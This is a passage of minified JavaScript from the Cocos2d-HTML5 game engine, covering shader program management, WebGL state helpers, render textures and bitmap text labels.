- b.rT);a.od(b.ul,b.ob);a.od(b.Zp,b.ve);a.od(b.pn,b.vd);break;case this.uA:a.Di(b.AT,b.zT);a.od("aVertex",b.ob);break;case this.jI:a.Di(b.pT,b.oT);a.od(b.ul,b.ob);a.od(b.pn,b.vd);a.od(b.Zp,b.ve);break;default:b.log("cocos2d: cc.shaderCache._loadDefaultShader, error shader type");return}a.link();a.O6()},z3:function(){var a=new b.Th;this.Be(a,this.qA);this.jd[b.Vi]=a;this.jd.ShaderPositionTextureColor=a;a=new b.Th;this.Be(a,this.rA);this.jd[b.ru]=a;this.jd.ShaderPositionTextureColorAlphaTest=a;a=new b.Th;
- this.Be(a,this.oA);this.jd[b.qu]=a;this.jd.ShaderPositionColor=a;a=new b.Th;this.Be(a,this.pA);this.jd[b.Gq]=a;this.jd.ShaderPositionTexture=a;a=new b.Th;this.Be(a,this.tA);this.jd[b.hA]=a;this.jd.ShaderPositionTextureUColor=a;a=new b.Th;this.Be(a,this.sA);this.jd[b.gA]=a;this.jd.ShaderPositionTextureA8Color=a;a=new b.Th;this.Be(a,this.uA);this.jd[b.iA]=a;this.jd.ShaderPositionUColor=a;a=new b.Th;this.Be(a,this.jI);this.jd[b.VH]=a;this.jd.ShaderPositionLengthTextureColor=a},Kia:function(){var a=this.nc(b.Vi);
- a.reset();this.Be(a,this.qA);a=this.nc(b.ru);a.reset();this.Be(a,this.rA);a=this.nc(b.qu);a.reset();this.Be(a,this.oA);a=this.nc(b.Gq);a.reset();this.Be(a,this.pA);a=this.nc(b.hA);a.reset();this.Be(a,this.tA);a=this.nc(b.gA);a.reset();this.Be(a,this.sA);a=this.nc(b.iA);a.reset();this.Be(a,this.uA)},nc:function(a){return this.jd[a]},Vm:function(a){return this.jd[a]},K$:function(a,c){this.jd[c]=a}};b.XR=function(){this.location=this.value=void 0;this.zx={}};
- b.Th=b.oa.extend({ha:null,Db:null,gf:null,vg:null,vb:null,gh:null,rM:!1,He:function(a,c){if(null==a)return!1;for(var d=!0,e=null,f=0;f<this.gh.length;f++)this.gh[f].location==a&&(e=this.gh[f]);e?e.value==c?d=!1:e.value=c:(e=new b.XR,e.location=a,e.value=c,this.gh.push(e));return d},V9:function(){return"\x3cCCGLProgram \x3d "+this.toString()+" | Program \x3d "+this.Db.toString()+", VertexShader \x3d "+this.gf.toString()+", FragmentShader \x3d "+this.vg.toString()+"\x3e"},rJ:function(a,c,d){if(!d||
- !a)return!1;this.ha.shaderSource(a,"precision highp float; \nuniform mat4 CC_PMatrix; \nuniform mat4 CC_MVMatrix; \nuniform mat4 CC_MVPMatrix; \nuniform vec4 CC_Time; \nuniform vec4 CC_SinTime; \nuniform vec4 CC_CosTime; \nuniform vec4 CC_Random01; \n//CC INCLUDES END \n"+d);this.ha.compileShader(a);d=this.ha.getShaderParameter(a,this.ha.COMPILE_STATUS);d||(b.log("cocos2d: ERROR: Failed to compile shader:\n"+this.ha.getShaderSource(a)),
- c==this.ha.VERTEX_SHADER?b.log("cocos2d: \n"+this.R6()):b.log("cocos2d: \n"+this.P0()));return 1==d},ctor:function(a,c,d){this.vb=[];this.gh=[];this.ha=d||b.l;a&&c&&this.ba(a,c)},Kaa:function(){this.gh=this.vb=this.vg=this.gf=null;this.ha.deleteProgram(this.Db)},Di:function(a,c){var d=this.ha;this.Db=d.createProgram();this.vg=this.gf=null;a&&(this.gf=d.createShader(d.VERTEX_SHADER),this.rJ(this.gf,d.VERTEX_SHADER,a)||b.log("cocos2d: ERROR: Failed to compile vertex shader"));c&&(this.vg=d.createShader(d.FRAGMENT_SHADER),
- this.rJ(this.vg,d.FRAGMENT_SHADER,c)||b.log("cocos2d: ERROR: Failed to compile fragment shader"));this.gf&&d.attachShader(this.Db,this.gf);b.bp();this.vg&&d.attachShader(this.Db,this.vg);this.gh.length=0;b.bp();return!0},pd:function(a,c){return this.Di(a,c)},B2:function(a,c){var d=b.V.Cd(a);if(!d)throw"Please load the resource firset : "+a;var e=b.V.Cd(c);if(!e)throw"Please load the resource firset : "+c;return this.Di(d,e)},ba:function(a,c){return this.B2(a,c)},od:function(a,c){this.ha.bindAttribLocation(this.Db,
- c,a)},link:function(){if(!this.Db)return b.log("cc.GLProgram.link(): Cannot link invalid program"),!1;this.ha.linkProgram(this.Db);this.gf&&this.ha.deleteShader(this.gf);this.vg&&this.ha.deleteShader(this.vg);this.vg=this.gf=null;return b.wb.ne[b.wb.jg.Bs]&&!this.ha.getProgramParameter(this.Db,this.ha.LINK_STATUS)?(b.log("cocos2d: ERROR: Failed to link program: "+this.ha.getProgramInfoLog(this.Db)),b.h2(this.Db),this.Db=null,!1):!0},Ic:function(){b.kF(this.Db)},O6:function(){this.vb[b.DA]=this.ha.getUniformLocation(this.Db,
- b.cV);this.vb[b.CA]=this.ha.getUniformLocation(this.Db,b.aV);this.vb[b.Pq]=this.ha.getUniformLocation(this.Db,b.bV);this.vb[b.HA]=this.ha.getUniformLocation(this.Db,b.gV);this.vb[b.GA]=this.ha.getUniformLocation(this.Db,b.fV);this.vb[b.BA]=this.ha.getUniformLocation(this.Db,b.$U);this.rM=null!=this.vb[b.HA]||null!=this.vb[b.GA]||null!=this.vb[b.BA];this.vb[b.EA]=this.ha.getUniformLocation(this.Db,b.dV);this.vb[b.FA]=this.ha.getUniformLocation(this.Db,b.eV);this.Ic();this.eQ(this.vb[b.FA],0)},lea:function(a){if(!a)throw"cc.GLProgram.getUniformLocationForName(): uniform name should be non-null";
- if(!this.Db)throw"cc.GLProgram.getUniformLocationForName(): Invalid operation. Cannot get uniform location when program is not initialized";return this.ha.getUniformLocation(this.Db,a)},mea:function(){return this.vb[b.Pq]},nea:function(){return this.vb[b.FA]},eQ:function(a,c){this.He(a,c)&&this.ha.uniform1i(a,c)},fla:function(a,c,d){this.He(a,[c,d])&&this.ha.uniform2i(a,c,d)},ila:function(a,c,d,e){this.He(a,[c,d,e])&&this.ha.uniform3i(a,c,d,e)},lla:function(a,c,d,e,f){this.He(a,[c,d,e,f])&&this.ha.uniform4i(a,
- c,d,e,f)},gla:function(a,c){this.He(a,c)&&this.ha.uniform2iv(a,c)},jla:function(a,c){this.He(a,c)&&this.ha.uniform3iv(a,c)},mla:function(a,c){this.He(a,c)&&this.ha.uniform4iv(a,c)},dla:function(a,c){this.eQ(a,c)},rt:function(a,c){this.He(a,c)&&this.ha.uniform1f(a,c)},L5:function(a,c,d){this.He(a,[c,d])&&this.ha.uniform2f(a,c,d)},M5:function(a,c,d,e){this.He(a,[c,d,e])&&this.ha.uniform3f(a,c,d,e)},st:function(a,c,d,e,f){this.He(a,[c,d,e,f])&&this.ha.uniform4f(a,c,d,e,f)},ela:function(a,c){this.He(a,
- c)&&this.ha.uniform2fv(a,c)},hla:function(a,c){this.He(a,c)&&this.ha.uniform3fv(a,c)},kla:function(a,c){this.He(a,c)&&this.ha.uniform4fv(a,c)},yG:function(a,c){this.He(a,c)&&this.ha.uniformMatrix4fv(a,!1,c)},cla:function(){if(!(2>arguments.length))switch(arguments.length){case 2:this.rt(arguments[0],arguments[1]);break;case 3:this.L5(arguments[0],arguments[1],arguments[2]);break;case 4:this.M5(arguments[0],arguments[1],arguments[2],arguments[3]);break;case 5:this.st(arguments[0],arguments[1],arguments[2],
- arguments[3],arguments[4])}},tt:function(){var a=new b.ca,c=new b.ca,d=new b.ca;b.Ox(b.ah,a);b.Ox(b.$g,c);b.Ei(d,a,c);this.yG(this.vb[b.DA],a.c,1);this.yG(this.vb[b.CA],c.c,1);this.yG(this.vb[b.Pq],d.c,1);this.rM&&(a=b.J,a=a.Kw*a.Xq,this.st(this.vb[b.HA],a/10,a,2*a,4*a),this.st(this.vb[b.GA],a/8,a/4,a/2,Math.sin(a)),this.st(this.vb[b.BA],a/8,a/4,a/2,Math.cos(a)));-1!=this.vb[b.EA]&&this.st(this.vb[b.EA],Math.random(),Math.random(),Math.random(),Math.random())},ala:function(){this.ha.uniformMatrix4fv(this.vb[b.Pq],
- !1,b.w1())},bla:function(a){b.Ei(a,b.ll.top,b.Lj.top);this.ha.uniformMatrix4fv(this.vb[b.Pq],!1,a.c)},Re:function(){this.ha.uniformMatrix4fv(this.vb[b.CA],!1,b.Lj.top.c);this.ha.uniformMatrix4fv(this.vb[b.DA],!1,b.ll.top.c)},R6:function(){return this.ha.getShaderInfoLog(this.gf)},sea:function(){return this.ha.getShaderInfoLog(this.gf)},Mca:function(){return this.ha.getShaderInfoLog(this.gf)},P0:function(){return this.ha.getShaderInfoLog(this.vg)},ria:function(){return this.ha.getProgramInfoLog(this.Db)},
- Dda:function(){return this.ha.getProgramInfoLog(this.Db)},reset:function(){this.vg=this.gf=null;this.vb.length=0;this.ha.deleteProgram(this.Db);this.Db=null;for(var a=0;a<this.gh.length;a++)this.gh[a].value=null,this.gh[a]=null;this.gh.length=0},Vm:function(){return this.Db},uy:function(){},Mi:function(){}});b.Th.create=function(a,c){return new b.Th(a,c)};b.wJ=-1;b.TD=!1;b.SD=!1;b.UD=!1;b.Zg&&(b.xS=16,b.jr=-1,b.ir=[-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1],b.Pn=-1,b.On=-1,b.vV=0,b.kA&&(b.kM=0));b.Aea=function(){b.b3();b.wJ=-1;b.TD=!1;b.SD=!1;b.UD=!1;if(b.Zg){b.jr=-1;for(var a=0;a<b.xS;a++)b.ir[a]=-1;b.Pn=-1;b.On=-1;b.vV=0}};b.kF=function(a){a!==b.jr&&(b.jr=a,b.l.useProgram(a))};b.Zg||(b.kF=function(a){b.l.useProgram(a)});b.h2=function(a){b.Zg&&a===b.jr&&(b.jr=-1);gl.deleteProgram(a)};
- b.Kg=function(a,c){if(a!==b.Pn||c!==b.On)b.Pn=a,b.On=c,b.zy(a,c)};b.zy=function(a,c){var d=b.l;a===d.ONE&&c===d.ZERO?d.disable(d.BLEND):(d.enable(d.BLEND),b.l.blendFunc(a,c))};b.cO=function(a,c){if(a!==b.Pn||c!==b.On){b.Pn=a;b.On=c;var d=b.l;a===d.ONE&&c===d.ZERO?d.disable(d.BLEND):(d.enable(d.BLEND),d.blendFuncSeparate(d.SRC_ALPHA,c,a,c))}};b.Zg||(b.Kg=b.zy);b.xea=function(){var a=b.l;a.blendEquation(a.FUNC_ADD);b.Zg?b.zy(b.Pn,b.On):b.zy(a.ac,a.$b)};b.UP=function(){b.wJ=-1};
- b.Ec=function(a){var c=b.l,d=a&b.Kd;d!==b.TD&&(d?c.enableVertexAttribArray(b.ob):c.disableVertexAttribArray(b.ob),b.TD=d);d=a&b.Gu;d!==b.SD&&(d?c.enableVertexAttribArray(b.ve):c.disableVertexAttribArray(b.ve),b.SD=d);a&=b.In;a!==b.UD&&(a?c.enableVertexAttribArray(b.vd):c.disableVertexAttribArray(b.vd),b.UD=a)};b.oe=function(a){b.jF(0,a)};b.jF=function(a,c){if(b.ir[a]!=c){b.ir[a]=c;var d=b.l;d.activeTexture(d.TEXTURE0+a);c?d.bindTexture(d.TEXTURE_2D,c.Sd):d.bindTexture(d.TEXTURE_2D,null)}};
- b.Zg||(b.jF=function(a,c){var d=b.l;d.activeTexture(d.TEXTURE0+a);c?d.bindTexture(d.TEXTURE_2D,c.Sd):d.bindTexture(d.TEXTURE_2D,null)});b.yea=function(a){b.i2(a)};b.i2=function(a){b.Zg&&a==b.ir[0]&&(b.ir[0]=-1);b.l.deleteTexture(a)};b.wea=function(a){b.kA&&b.Zg&&b.kM!=a&&(b.kM=a)};b.zea=function(){};b.f8=0;b.g8=1;b.h8=9;b.ak=function(a){a-=1;a|=a>>1;a|=a>>2;a|=a>>4;a|=a>>8;return(a|a>>16)+1};
- b.Gn=b.m.extend({sprite:null,ax:0,uE:0,Xo:!1,Wd:null,Xd:null,sv:0,Ol:0,ki:0,I:null,gs:null,GZ:null,mi:b.da.Ui,Zi:null,vE:0,oB:null,ub:"RenderTexture",ctor:null,fr:function(a,c,d,e){b.m.prototype.ctor.call(this);this.sg=this.yf=!0;this.Zi=b.color(255,255,255,255);this.oB="rgba(255,255,255,1)";this.Wd=b.Rb("canvas");this.Xd=this.Wd.getContext("2d");this.anchorY=this.anchorX=0;void 0!==a&&void 0!==c&&(d=d||b.da.Ui,this.Ix(a,c,d,e||0))},gr:function(a,c,d,e){b.m.prototype.ctor.call(this);this.sg=this.yf=
- !0;this.Zi=b.color(0,0,0,0);void 0!==a&&void 0!==c&&(d=d||b.da.Ui,this.Ix(a,c,d,e||0))},Ke:null,ZV:function(){b.m.prototype.xb.call(this);this.Wd=this.Xd=null},$V:function(){b.m.prototype.xb.call(this);this.gs=null;var a=b.l;a.deleteFramebuffer(this.sv);this.Ol&&a.deleteRenderbuffer(this.Ol);this.GZ=null},UN:function(){return this.sprite},Ky:function(a){this.sprite=a},Ix:null,CX:function(a,c){var d=this.Wd,e=b.pb();d.width=0|a*e;d.height=0|c*e;this.Xd.translate(0,d.height);e=new b.da;e.Rc(d);e.sb();
- d=this.sprite=b.D.create(e);d.pe(b.ONE,b.ONE_MINUS_SRC_ALPHA);this.Xo=!1;this.M(d);return!0},DX:function(a,c,d,e){d==b.da.Aq&&b.log("cc.RenderTexture._initWithWidthAndHeightForWebGL() : only RGB and RGBA formats are valid for a render texture;");var f=b.l,g=b.pb();a=0|a*g;c=0|c*g;this.ki=f.getParameter(f.FRAMEBUFFER_BINDING);var h;b.cp.Gw?(g=a,h=c):(g=b.ak(a),h=b.ak(c));for(var k=new Uint8Array(g*h*4),m=0;m<g*h*4;m++)k[m]=0;this.mi=d;this.I=new b.da;if(!this.I)return!1;m=this.I;m.Ps(k,this.mi,g,h,
- b.size(a,c));d=f.getParameter(f.RENDERBUFFER_BINDING);if(b.cp.ap("GL_QCOM")){this.gs=new b.da;if(!this.gs)return!1;this.gs.Ps(k,this.mi,g,h,b.size(a,c))}this.sv=f.createFramebuffer();f.bindFramebuffer(f.FRAMEBUFFER,this.sv);f.framebufferTexture2D(f.FRAMEBUFFER,f.COLOR_ATTACHMENT0,f.TEXTURE_2D,m.Sd,0);0!=e&&(this.Ol=f.createRenderbuffer(),f.bindRenderbuffer(f.RENDERBUFFER,this.Ol),f.renderbufferStorage(f.RENDERBUFFER,e,g,h),e==f.DEPTH_STENCIL?f.framebufferRenderbuffer(f.FRAMEBUFFER,f.DEPTH_STENCIL_ATTACHMENT,
- f.RENDERBUFFER,this.Ol):e==f.STENCIL_INDEX||e==f.STENCIL_INDEX8?f.framebufferRenderbuffer(f.FRAMEBUFFER,f.STENCIL_ATTACHMENT,f.RENDERBUFFER,this.Ol):e==f.DEPTH_COMPONENT16&&f.framebufferRenderbuffer(f.FRAMEBUFFER,f.DEPTH_ATTACHMENT,f.RENDERBUFFER,this.Ol));f.checkFramebufferStatus(f.FRAMEBUFFER)!==f.FRAMEBUFFER_COMPLETE&&b.log("Could not attach texture to the framebuffer");m.fG();a=this.sprite=b.D.create(m);a.scaleY=-1;a.pe(f.ONE,f.ONE_MINUS_SRC_ALPHA);f.bindRenderbuffer(f.RENDERBUFFER,d);f.bindFramebuffer(f.FRAMEBUFFER,
- this.ki);this.Xo=!1;this.M(a);return!0},Dh:null,MV:function(){b.l=this.Xd;b.view.qw()},NV:function(){b.of(b.ah);b.Gj();b.of(b.$g);b.Gj();var a=b.J;a.pl(a.rp());var c=this.I.Q,d=b.J.Ls(),a=d.width/c.width,d=d.height/c.height,e=b.l;e.viewport(0,0,c.width,c.height);c=new b.ca;b.DF(c,-1/a,1/a,-1/d,1/d,-1,1);b.zp(c);this.ki=e.getParameter(e.FRAMEBUFFER_BINDING);e.bindFramebuffer(e.FRAMEBUFFER,this.sv);b.cp.ap("GL_QCOM")&&(e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,this.gs.Sd,
- 0),e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT),e.framebufferTexture2D(e.FRAMEBUFFER,e.COLOR_ATTACHMENT0,e.TEXTURE_2D,this.I.Sd,0))},A_:function(a,c,d,e,f,g){var h=b.l;f=f||h.COLOR_BUFFER_BIT;g=g||h.COLOR_BUFFER_BIT|h.DEPTH_BUFFER_BIT;this.eB(a,c,d,e,f,g,h.COLOR_BUFFER_BIT|h.DEPTH_BUFFER_BIT|h.STENCIL_BUFFER_BIT)},eB:null,OV:function(a,c,d,e){this.Dh();a=a||0;c=c||0;d=d||0;e=isNaN(e)?1:e;var f=this.Xd,g=this.Wd;f.save();f.fillStyle="rgba("+(0|a)+","+(0|c)+","+(0|d)+","+e/255+")";f.clearRect(0,0,
- g.width,-g.height);f.fillRect(0,0,g.width,-g.height);f.restore()},PV:function(a,c,d,e,f,g,h){a/=255;c/=255;d/=255;e/=255;this.Dh();var k=b.l,m=[0,0,0,0],p=0,q=0;h&k.COLOR_BUFFER_BIT&&(m=k.getParameter(k.COLOR_CLEAR_VALUE),k.clearColor(a,c,d,e));h&k.DEPTH_BUFFER_BIT&&(p=k.getParameter(k.DEPTH_CLEAR_VALUE),k.clearDepth(f));h&k.STENCIL_BUFFER_BIT&&(q=k.getParameter(k.STENCIL_CLEAR_VALUE),k.clearStencil(g));k.clear(h);h&k.COLOR_BUFFER_BIT&&k.clearColor(m[0],m[1],m[2],m[3]);h&k.DEPTH_BUFFER_BIT&&k.clearDepth(p);
- h&k.STENCIL_BUFFER_BIT&&k.clearStencil(q)},end:null,yW:function(){b.l=b.WX;b.view.iw()},zW:function(){var a=b.l,c=b.J;a.bindFramebuffer(a.FRAMEBUFFER,this.ki);c.AG();b.of(b.ah);b.Fj();b.of(b.$g);b.Fj()},clear:function(a,c,d,e){this.A_(a,c,d,e);this.end()},clearRect:null,cW:function(a,c,d,e){this.Xd.clearRect(a,c,d,-e)},dW:function(){},clearDepth:null,aW:function(){b.log("clearDepth isn't supported on Cocos2d-Html5")},bW:function(a){this.Dh();var c=b.l,d=c.getParameter(c.DEPTH_CLEAR_VALUE);c.clearDepth(a);
- c.clear(c.DEPTH_BUFFER_BIT);c.clearDepth(d);this.end()},clearStencil:null,eW:function(){b.log("clearDepth isn't supported on Cocos2d-Html5")},fW:function(a){var c=b.l,d=c.getParameter(c.STENCIL_CLEAR_VALUE);c.clearStencil(a);c.clear(c.STENCIL_BUFFER_BIT);c.clearStencil(d)},U:null,zm:function(a){this.Zb&&(a=a||b.l,a.save(),this.Z(a),this.transform(a),this.sprite.U(),a.restore(),this.arrivalOrder=0)},ps:function(a){if(this.Zb){b.Gj();var c=this.grid;c&&c.nf()&&(c.xs(),this.Ty());this.transform(a);this.sprite.U();
- this.Z(a);c&&c.nf()&&c.ts(this);b.Fj();this.arrivalOrder=0}},Z:null,Ql:function(a){a=a||b.l;if(this.Xo){this.Dh();if(this.ax){var c=this.Wd;a.save();a.fillStyle=this.oB;a.clearRect(0,0,c.width,-c.height);a.fillRect(0,0,c.width,-c.height);a.restore()}this.Sc();a=this.u;for(var c=a.length,d=this.sprite,e=0;e<c;e++){var f=a[e];f!=d&&f.U()}this.end()}},aj:function(){var a=b.l;if(this.Xo){this.Dh();var c=this.ax;if(c){var d=[0,0,0,0],e=0,f=0;c&a.COLOR_BUFFER_BIT&&(d=a.getParameter(a.COLOR_CLEAR_VALUE),
- a.clearColor(this.Zi.r/255,this.Zi.g/255,this.Zi.b/255,this.Zi.a/255));c&a.DEPTH_BUFFER_BIT&&(e=a.getParameter(a.DEPTH_CLEAR_VALUE),a.clearDepth(this.uE));c&a.STENCIL_BUFFER_BIT&&(f=a.getParameter(a.STENCIL_CLEAR_VALUE),a.clearStencil(this.vE));a.clear(c);c&a.COLOR_BUFFER_BIT&&a.clearColor(d[0],d[1],d[2],d[3]);c&a.DEPTH_BUFFER_BIT&&a.clearDepth(e);c&a.STENCIL_BUFFER_BIT&&a.clearStencil(f)}this.Sc();a=this.u;for(c=0;c<a.length;c++)d=a[c],d!=this.sprite&&d.U();this.end()}},iha:function(){b.log("saveToFile isn't supported on cocos2d-html5");
- return null},m$:function(a,c,d,e,f){for(var g=0;g<f;g++)a[c+g]=d[e+g]},hja:function(){b.log("saveToFile isn't supported on Cocos2d-Html5")},aha:function(){b.log("listenToBackground isn't supported on Cocos2d-Html5")},bha:function(){b.log("listenToForeground isn't supported on Cocos2d-Html5")},jca:function(){return this.ax},Aja:function(a){this.ax=a},Y0:function(){return this.Zi},hG:null,MY:function(a){var c=this.Zi;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a;this.oB="rgba("+(0|a.r)+","+(0|a.g)+","+(0|a.b)+","+
- a.a/255+")"},NY:function(a){var c=this.Zi;c.r=a.r;c.g=a.g;c.b=a.b;c.a=a.a},ica:function(){return this.uE},zja:function(a){this.uE=a},kca:function(){return this.vE},Bja:function(a){this.vE=a},Lea:function(){return this.Xo},sja:function(a){this.Xo=a}});n=b.Gn.prototype;
- b.B==b.W?(n.ctor=n.gr,n.Ke=n.$V,n.Ix=n.DX,n.Dh=n.NV,n.eB=n.PV,n.end=n.zW,n.clearRect=n.dW,n.clearDepth=n.bW,n.clearStencil=n.fW,n.U=n.ps,n.Z=n.aj,n.hG=n.NY):(n.ctor=n.fr,n.Ke=n.ZV,n.Ix=n.CX,n.Dh=n.MV,n.eB=n.OV,n.end=n.yW,n.clearRect=n.cW,n.clearDepth=n.aW,n.clearStencil=n.eW,n.U=n.zm,n.Z=n.Ql,n.hG=n.MY);b.j(n,"clearColorVal",n.Y0,n.hG);b.Gn.create=function(a,c,d,e){return new b.Gn(a,c,d,e)};b.Uh=b.Ri.extend({Jb:null,iC:null,ma:!1,gb:null,ub:"LabelAtlas",ctor:function(a,c,d,e,f){b.Ri.prototype.ctor.call(this);c&&b.Uh.prototype.pd.call(this,a,c,d,e,f)},wt:function(){return this.ma},Td:function(a,c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},Md:function(){if(this.gb){this.ma=!0;for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Eh.call(e.Rf,this)}a.length=0}},pd:function(a,c,d,e,f){var g=a+"",h,k;if(void 0===d){d=b.V.Cd(c);if(1!==parseInt(d.version,10))return b.log("cc.LabelAtlas.initWithString(): Unsupported version. Upgrade cocos2d version"),
- !1;c=b.path.$o(c,d.textureFilename);e=b.pb();h=parseInt(d.itemWidth,10)/e;k=parseInt(d.itemHeight,10)/e;d=String.fromCharCode(parseInt(d.firstChar,10))}else h=d||0,k=e||0,d=f||" ";var m=null,m=c instanceof b.da?c:b.Ea.Dc(c);(this.ma=c=m.ic)||m.Td(function(){this.sa(m,h,k,g.length);this.string=g;this.Md()},this);return this.sa(m,h,k,g.length)?(this.iC=d,this.string=g,!0):!1},nb:function(a){b.Ri.prototype.nb.call(this,a);this.Xp()},bl:function(){return this.Jb},Z:function(a){b.Ri.prototype.Z.call(this,
- a);b.nS&&(a=this.size,a=[b.d(0,0),b.d(a.width,0),b.d(a.width,a.height),b.d(0,a.height)],b.ye.Vd(a,4,!0))},WA:function(a,c,d){a.QX=!0;b.m.prototype.M.call(this,a,c,d)},Xp:null,HZ:function(){for(var a=this.Jb||"",c=a.length,d=this.texture,e=this.gi,f=this.jh,g=0;g<c;g++){var h=a.charCodeAt(g)-this.iC.charCodeAt(0),h=b.rect(parseInt(h%this.Ao,10)*e,parseInt(h/this.Ao,10)*f,e,f),k=a.charCodeAt(g),m=this.Hh(g);m?32==k?(m.ba(),m.qb(b.rect(0,0,10,10),!1,b.size(0,0))):(m.sa(d,h),m.visible=!0,m.opacity=this.fb):
- (m=new b.D,32==k?(m.ba(),m.qb(b.rect(0,0,10,10),!1,b.size(0,0))):m.sa(d,h),b.m.prototype.M.call(this,m,0,g));m.T(g*e+e/2,f/2)}},IZ:function(){var a=this.Jb,c=a.length,d=this.textureAtlas,e=d.texture,f=e.pixelsWidth,e=e.pixelsHeight,g=this.gi,h=this.jh;this.Bv||(g=this.gi*b.pb(),h=this.jh*b.pb());c>d.wd&&b.log("cc.LabelAtlas._updateAtlasValues(): Invalid String length");for(var k=d.quads,m=this.Ba,m={r:m.r,g:m.g,b:m.b,a:this.fb},p=this.gi,q=0;q<c;q++){var r=a.charCodeAt(q)-this.iC.charCodeAt(0),t=
- r%this.Ao,s=0|r/this.Ao,u;b.wn?(t=(2*t*g+1)/(2*f),r=t+(2*g-2)/(2*f),s=(2*s*h+1)/(2*e),u=s+(2*h-2)/(2*e)):(t=t*g/f,r=t+g/f,s=s*h/e,u=s+h/e);var v=k[q],x=v.N,z=v.L,D=v.F,v=v.O;x.n.fa=t;x.n.ga=s;z.n.fa=r;z.n.ga=s;D.n.fa=t;D.n.ga=u;v.n.fa=r;v.n.ga=u;D.i.x=q*p;D.i.y=0;D.i.z=0;v.i.x=q*p+p;v.i.y=0;v.i.z=0;x.i.x=q*p;x.i.y=this.jh;x.i.z=0;z.i.x=q*p+p;z.i.y=this.jh;z.i.z=0;x.t=m;z.t=m;D.t=m;v.t=m}0<c&&(d.dirty=!0,a=d.totalQuads,c>a&&d.hO(c-a))},ed:null,jZ:function(a){a=String(a);var c=a.length;this.Jb=a;this.width=
- c*this.gi;this.height=this.jh;if(this.u){a=this.u;for(var c=a.length,d=0;d<c;d++){var e=a[d];e&&!e.QX&&(e.visible=!1)}}this.Xp();this.quadsToDraw=c},lZ:function(a){a=String(a);var c=a.length;c>this.textureAtlas.totalQuads&&this.textureAtlas.$F(c);this.Jb=a;this.width=c*this.gi;this.height=this.jh;this.Xp();this.quadsToDraw=c},Ta:null,hD:function(a){if(this.fb!==a){b.Ri.prototype.Ta.call(this,a);for(var c=this.u,d=0,e=c.length;d<e;d++)c[d]&&(c[d].opacity=a)}},iD:function(a){this.Pd!==a&&b.Ri.prototype.Ta.call(this,
- a)}});n=b.Uh.prototype;b.B===b.W?(n.Xp=n.IZ,n.ed=n.lZ,n.Ta=n.iD):(n.Xp=n.HZ,n.ed=n.jZ,n.Ta=n.hD,n.M=n.WA);b.j(n,"opacity",n.Ig,n.Ta);b.j(n,"string",n.bl,n.ed);b.Uh.create=function(a,c,d,e,f){return new b.Uh(a,c,d,e,f)};b.o8=-1;
- b.Cz=b.te.extend({Pa:!1,Jb:"",zf:null,vv:"",wo:"",Vq:b.Jq,qs:-1,ZK:!1,Cv:null,IL:null,fb:255,Bg:255,Ba:null,Qd:null,yf:!0,sg:!0,ma:!1,gb:null,ub:"LabelBMFont",TL:function(a,c){c?this.wo=a:this.Jb=a;var d=this.u;if(d)for(var e=0;e<d.length;e++){var f=d[e];f&&f.Tj(!1)}this.ma&&(this.fx(),c&&this.fg())},ctor:function(a,c,d,e,f){b.te.prototype.ctor.call(this);this.Cv=b.d(0,0);this.Ba=b.color(255,255,255,255);this.Qd=b.color(255,255,255,255);this.IL=[];this.pd(a,c,d,e,f)},wt:function(){return this.ma},Td:function(a,
- c){this.gb||(this.gb=[]);this.gb.push({Eh:a,Rf:c})},Md:function(){if(this.gb){for(var a=this.gb,c=0,d=a.length;c<d;c++){var e=a[c];e.Eh.call(e.Rf,this)}a.length=0}},Z:function(a){b.te.prototype.Z.call(this,a);if(b.oS){a=this.Sf();var c=b.d(0|-this.Ab.x,0|-this.Ab.y);a=[b.d(c.x,c.y),b.d(c.x+a.width,c.y),b.d(c.x+a.width,c.y+a.height),b.d(c.x,c.y+a.height)];b.ye.Op(0,255,0,255);b.ye.Vd(a,4,!0)}},nb:function(a){var c=this.Ba,d=this.Qd;if(d.r!=a.r||d.g!=a.g||d.b!=a.b||d.a!=a.a)c.r=d.r=a.r,c.g=d.g=a.g,
- c.b=d.b=a.b,this.ma&&this.yf&&(a=b.color.WHITE,(c=this.Nc)&&c.cascadeColor&&(a=c.lx()),this.Hc(a))},Uf:function(){return this.Pa},rf:function(a){this.Pa=a;if(a=this.u)for(var c=0;c<a.length;c++){var d=a[c];d&&(d.opacityModifyRGB=this.Pa)}},Ig:function(){return this.Bg},e1:function(){return this.fb},Ta:function(a){this.fb=this.Bg=a;if(this.sg){var c=255,d=this.Nc;d&&d.cascadeOpacity&&(c=d.fb);this.xc(c)}this.Ba.a=this.Qd.a=a},xc:function(a){this.fb=this.Bg*a/255;a=this.u;for(var c=0;c<a.length;c++){var d=
- a[c];b.B==b.W?d.xc(this.fb):(b.m.prototype.xc.call(d,this.fb),d.Ia())}this.Zd()},xO:function(){return!1},GP:function(a){this.sg=a},Hg:function(){var a=this.Qd;return b.color(a.r,a.g,a.b,a.a)},lx:function(){var a=this.Ba;return b.color(a.r,a.g,a.b,a.a)},Hc:function(a){var c=this.Ba,d=this.Qd;c.r=d.r*a.r/255;c.g=d.g*a.g/255;c.b=d.b*a.b/255;a=this.u;for(c=0;c<a.length;c++)d=a[c],b.B==b.W?d.Hc(this.Ba):(b.m.prototype.Hc.call(d,this.Ba),d.Ia());this.Zd()},Zd:function(){if(b.B!=b.W){var a=this.Ca();if(a&&
- 0<a.Sf().width){var c=this.jc.Oa;if(c){var d=a.Oa,e=b.rect(0,0,c.width,c.height);d instanceof HTMLCanvasElement&&!this.Ac?b.Rm(c,this.Ba,e,d):(d=b.Rm(c,this.Ba,e),a=new b.da,a.Rc(d),a.sb());this.Ya(a)}}}},wO:function(){return!1},FP:function(a){this.yf=a},ba:function(){return this.pd(null,null,null,null,null)},pd:function(a,c,d,e,f){a=a||"";this.zf&&b.log("cc.LabelBMFont.initWithString(): re-init is no longer supported");if(c){var g=b.V.Cd(c);if(!g)return b.log("cc.LabelBMFont.initWithString(): Impossible to create font. Please check file"),
